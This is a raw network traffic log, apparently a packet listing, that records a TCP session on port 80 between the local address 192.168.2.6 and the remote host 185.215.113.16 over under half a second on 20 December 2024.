Dec 20, 2024 17:17:50.564812899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.564820051 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.564853907 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.565370083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.565380096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.565390110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.565419912 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.565437078 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.565767050 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.565778017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.565812111 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.565834045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.565845013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.565855980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.565866947 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.565876961 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.565891981 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.566688061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.566699028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.566714048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.566732883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.566742897 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.566785097 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.639949083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.639971972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.639982939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.640028000 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.640255928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.640300989 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.640301943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.640315056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.640326977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.640361071 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.640742064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.640753984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.640764952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.640809059 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.640845060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.641187906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.641200066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.641210079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.641221046 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.641231060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.641238928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.641242027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.641254902 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.641282082 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.641969919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.641982079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.641992092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.642002106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.642025948 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.642040014 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.642385006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.642395020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.642426014 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.642435074 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.642446041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.642457008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.642467022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.642477036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.642482042 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.642499924 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.678025961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678042889 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678057909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678087950 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.678143024 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.678236008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678246975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678257942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678267956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678277969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.678280115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678324938 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.678822994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678838015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678854942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678865910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678875923 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678881884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.678893089 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.678935051 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.679527998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.679539919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.679549932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.679590940 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.679620028 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.679832935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.679851055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.679867029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.679889917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.680294991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.680305958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.680316925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.680325985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.680339098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.680349112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.680351973 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.680361032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.680381060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.680397034 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.681046009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681056976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681067944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681077957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681088924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681098938 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.681101084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681123018 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.681144953 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.681813002 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681828022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681832075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681838036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681843042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681848049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.681893110 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.682662010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.682673931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.682683945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.682696104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.682707071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.682713032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.682718039 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.682729959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.682744026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.683402061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.683459044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.683461905 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.683470964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.683480978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.683494091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.683505058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.683516979 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.683521986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.683545113 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.683568001 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.684281111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.684293032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.684323072 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.684334040 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.684345007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.684345961 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.684357882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.684375048 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.684395075 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.684959888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.684978008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.684984922 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.684988022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.685034037 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.756745100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.756752968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.756757975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.756853104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.756865025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.756875992 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.756882906 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.756890059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.756915092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.756915092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.757363081 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.757376909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.757390976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.757410049 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.757431030 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.757678986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.757699966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.757714033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.757751942 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.758137941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.758152008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.758163929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.758174896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.758183956 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.758187056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.758198977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.758208036 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.758238077 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.758899927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.758943081 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.758943081 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.808015108 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.832134962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.832232952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.832246065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.832287073 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.832444906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.832494020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.832499981 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.832536936 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.832549095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.832572937 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.832909107 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.832952976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.832964897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.832988977 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.833009958 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.833333015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.833345890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.833355904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.833368063 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.833379984 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.833404064 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.833749056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.833761930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.833781004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.833791971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.833794117 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.833810091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.833825111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.833834887 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.833858013 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.834661961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.834675074 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.834686041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.834698915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.834716082 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.834743977 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.835043907 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.835057020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.835067987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.835081100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.835109949 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.835129976 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.869851112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.869972944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.869986057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.870008945 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.870182037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.870217085 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.870304108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.870325089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.870367050 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.870531082 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.870537996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.870548964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.870562077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.870568037 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.870587111 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.870969057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.871104956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.871115923 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.871126890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.871136904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.871145010 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.871171951 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.871537924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.871551037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.871561050 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.871572971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.871583939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.871598005 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.871623993 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.872107983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.872121096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.872153997 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.872298956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.872400045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.872411966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.872422934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.872433901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.872441053 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.872446060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.872462988 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.872488022 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.873193979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.873204947 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.873215914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.873229980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.873235941 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.873265028 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.873713017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.873725891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.873737097 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.873749018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.873760939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.873761892 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.873771906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.873780966 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.873799086 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.874480963 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.874496937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.874505997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.874517918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.874527931 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.874556065 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.874866962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.874877930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.874908924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.874921083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.874932051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.874938011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.874943018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.874965906 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.874984026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.875691891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.875704050 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.875734091 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.875735044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.875751019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.875761032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.875772953 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.875782967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.875787020 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.875811100 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.876494884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.876528025 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.876573086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.876585007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.876595974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.876605988 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.876616955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.876617908 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.876627922 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.876652956 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.876666069 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.948889017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.948915958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.948926926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.948962927 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.949153900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.949172020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.949182034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.949187994 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.949193001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.949214935 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.949711084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.949789047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.949800968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.949810982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.949835062 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.949866056 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.950227022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.950246096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.950289011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.950297117 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.950299978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.950310946 CET	80	49809	185.215.113.16	192.168.2.6
